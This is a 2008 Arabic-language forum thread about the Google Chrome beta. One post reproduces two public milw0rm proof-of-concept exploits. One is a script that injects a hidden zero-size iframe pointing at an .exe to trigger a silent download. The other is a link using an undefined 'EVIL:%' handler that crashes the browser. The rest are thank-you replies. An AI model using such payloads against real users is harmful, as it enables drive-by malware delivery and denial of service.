.₪.الأصدار الجديد من قوقل"متصفح كروم" .₪. - الصفحة 2

سَوّافْ · 09-16-2008, 05:49 PM

ههههه
لا مش اشاعه هذيل الثغرتين في المتصفح

رمز PHP:
************************************************** *************************
Author: nerex
E-mail: nerex[at]live[dot]com

Google's new Web browser (Chrome) allows files (e.g., executables) to be automatically
downloaded to the user's computer without any user prompt.

This proof-of-concept was created for educational purposes only.
Use the code it at your own risk.
The author will not be responsible for any damages.

Tested on Windows Vista SP1 and Windows XP SP3 with Google Chrome (BETA)
************************************************** ************************
<script>
document.write('<iframe src="http://www.example.com/hello.exe" frameborder="0" width="0" height="0">');
</script>

# milw0rm.com [2008-09-03]

http://www.milw0rm.com/exploits/6355

الثغرة الثانية

---------------------------------------------------
Software:
Google Chrome Browser 0.2.149.27

Tested:
Windows XP Professional SP3

Result:
Google Chrome Crashes with All Tabs

Problem:
An issue exists in how chrome behaves with undefined-handlers in chrome.dll version
0.2.149.27. A crash can result without user interaction. When a user is made to visit
a malicious link, which has an undefined handler followed by a 'special' character,
the chrome crashes with a Google Chrome message window "Whoa! Google Chrome has crashed.
Restart now?". It lies in dealing with the POP EBP instruction when pointed out by the
EIP register at 0x01002FF4.

Proof of Concept:
http://evilfingers.com/advisory/google_chrome_poc.php

Credit:
Rishi Narang (psy.echo)
www.greyhat.in
www.evilfingers.com
---------------------------------------------------

PoC Working/Exploit:
Click for a demo <a href="EVIL:%">HERE</a>

# milw0rm.com [2008-09-03]

http://www.milw0rm.com/exploits/6353

وهاي الثغره
من نوع تطبيق كود جافا سكربت لفتح تطبيقات ذات امتدادات .exe
رابط الموضوع بالموقع :

http://www.milw0rm.com/exploits/6355

مكتشف الثغرة : nerex __DEFINE_LIKE_SHARE__

» [ ™S a s a ] ~ · 09-16-2008, 06:08 PM

ماادري
يمكن لانه مازال تجريبي ^^
لان شركه قوقل وايد طر
بس احسه حلوو وخفيف

جآرري تجربته
ومالنا غنى عن الفيروكس والا كسبلوور

ثانكس سواف __DEFINE_LIKE_SHARE__

..عزت نفسي.. · 09-19-2008, 09:13 AM

[ ^^ ] حلــوو ,,

وتسلمين الغلا و ربي يعطيج العافيه ,, __DEFINE_LIKE_SHARE__

» [ ™S a s a ] ~ · 09-20-2008, 05:27 PM

عزت نفسي

منوره غنآآتي __DEFINE_LIKE_SHARE__

مووووتر · 09-20-2008, 06:08 PM

مشكورة على المساهمة __DEFINE_LIKE_SHARE__

المواضيع المتشابهه
الموضوع	كاتب الموضوع	المنتدى	مشاركات	آخر مشاركة
₪₪ للمرهـ الثالثة فرزاتشي×كريستيان اديقير×رالف لورين والكثير+ آراء من تعاملو معي ₪₪	محروم.كوم	منتدى أخبار المواقع والمنتديات العربية والأجنبية	0	06-06-2010 10:50 AM
•° ₪₪ الآن في المكتبات رواية "راعي غوالي" ₪₪•°	مندوبة متميزة	بيع و شراء و عروض التجارية	7	04-24-2010 11:35 PM
•° ₪₪ أضواء على رواية "راعي غوالي" ₪₪•°	مندوبة متميزة	قصص و روايات	2	04-21-2010 10:25 PM
[₪] مآ حكم زٍيآدة كلمة الشكرٍ بعد قوٍل "ربنا ولك الحمد" [₪]	a353a	الإسلام والشريعة	5	08-01-2009 06:56 AM
¤₪]\| " حلّفتك " أَمِرّ الليلة في بالك ../ Topics \|[₪¤	س™	المسنجر وملحقاته , توبيكات , ماسنجر بلس , msn	22	04-05-2008 07:11 PM